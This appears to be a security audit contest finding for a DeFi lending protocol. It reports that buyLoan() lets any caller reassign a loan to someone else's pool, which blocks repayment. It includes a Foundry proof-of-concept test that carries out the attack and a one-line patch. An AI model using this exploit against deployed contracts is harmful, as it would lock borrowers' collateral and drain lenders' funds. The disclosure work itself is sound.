20,000 USDC
View results
Submission Details
Severity: high
Valid

The borrower repayment can be blocked by a malicious actor who doesn't have a created pool

Summary

The borrower repayment can be blocked by a malicious actor who doesn't have a created pool causing the pool that acquired the debt to be unable to be paid and the borrower to be unable to get his collateral.

Vulnerability Details

The buyLoan() function helps "buy" a loan and transfer it to another pool. So the first pool will be paid plus interests and the new pool will acquire the debt.

The problem is that a malicious actor, who doesn't have any created pool, can call the buyLoan() function and transfer the debt to another whatever pool. That will cause that the loan repayment will be reverted by an arithmetic error.

I created a test where the malicious actor make the borrower repayment to be reverted by an arithmetic error. Test steps:

  1. Lender1 creates the pool with initial 1000 token balance. Borrower borrows 100 token debt.

  2. Lender2 creates his pool.

  3. Lender1 kicks off the auction.

  4. The malicious actor (address(1337)) call the buyLoan() function using Lender2's pool.

  5. The Lender1 pool has the loaned amount + interests.

  6. Lender2 pool has the debt. 1000 initial pool balance - 100 debt tokens - borrow interests

  7. The loan lender is assigned to the attacker non-existent pool which means that
    the repay() function will be reverted by arithmeticError.

// File: test/Lender.t.sol:LenderTest
// $ forge test --match-test "test_borrower_repayment_can_be_blocked" -vvv
//
function test_borrower_repayment_can_be_blocked() public {
// The borrower repayment can be blocked by a malicious actor who doesn't have a created pool
// causing the pool that acquired the debt to be unable to be paid.
// 1. Lender1 creates the pool with initial 1000 token balance. Borrower borrows 100 token debt.
// 2. Lender2 creates his pool.
// 3. Lender1 kicks off the auction.
// 4. The malicious actor (address(1337)) call the buyLoan() function using Lender2's pool.
// 5. The Lender1 pool has the loaned amount + interests.
// 6. Lender2 pool has the debt. 1000 initial pool balance - 100 debt tokens - borrow interests
// 7. The loan lender is assigned to the attacker non-existent pool which means that
// the repay() function will be reverted by arithmeticError.
address attacker = address(1337);
loanToken.mint(address(attacker), 100000*10**18);
collateralToken.mint(address(attacker), 100000*10**18);
//
// 1. Lender1 creates the pool with initial 1000 token balance. Borrower borrows 100 token debt.
//
test_borrow();
bytes32 poolIdLender1 = lender.getPoolId(lender1, address(loanToken), address(collateralToken));
(,,,,uint256 poolBalance,,,,) = lender.pools(poolIdLender1);
// assert loan debt and pool balance
assertEq(lender.getLoanDebt(0), 100*10**18);
assertEq(poolBalance, 900 * 10**18);
//
// 2. Lender2 creates his pool.
//
// Lender2 creates his pool
vm.startPrank(lender2);
Pool memory lender2Pool = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
lender.setPool(lender2Pool);
//
// 3. Lender1 kicks off the auction.
//
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
vm.prank(lender1);
lender.startAuction(loanIds);
// warp to middle of auction
vm.warp(block.timestamp + 12 hours);
//
// 4. The malicious actor (address(1337)) call the buyLoan() function using Lender2's pool.
//
bytes32 poolIdLender2 = lender.getPoolId(lender2, address(loanToken), address(collateralToken));
vm.startPrank(attacker);
lender.buyLoan(0, poolIdLender2);
//
// 5. The Lender1 pool has the loaned amount + interests.
//
// assert lender1 pool balance is 1000 + interests
(,,,,poolBalance,,,,) = lender.pools(poolIdLender1);
assertGt(poolBalance, 1000 * 10**18); // 1000 + interests (assertGt)
//
// 6. Lender2 pool has the debt. 1000 initial pool balance - 100 debt tokens - borrow interests
//
(,,,,poolBalance,,,,) = lender.pools(poolIdLender2);
assertLt(poolBalance, (1000 - 100) * 10**18); // poolBalance < (1000 - 100 - borrow interests)
//
// 7. The loan lender is assigned to the attacker non-existent pool which means that
// the repay() function will be reverted by arithmeticError.
//
vm.expectRevert(stdError.arithmeticError);
lender.repay(loanIds);
}

Impact

The borrower repay will not be possible, causing the borrower collateral lost. Additionally the pool who acquired the debt will lost token balance because nobody will pay that debt.

Tools used

Manual review

Recommendations

The pool.lender should be assigned to the loans.lender instead the msg.sender:

// update the loan with the new info
-- loans[loanId].lender = msg.sender;
++ loans[loanId].lender = pools[poolId].lender;

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.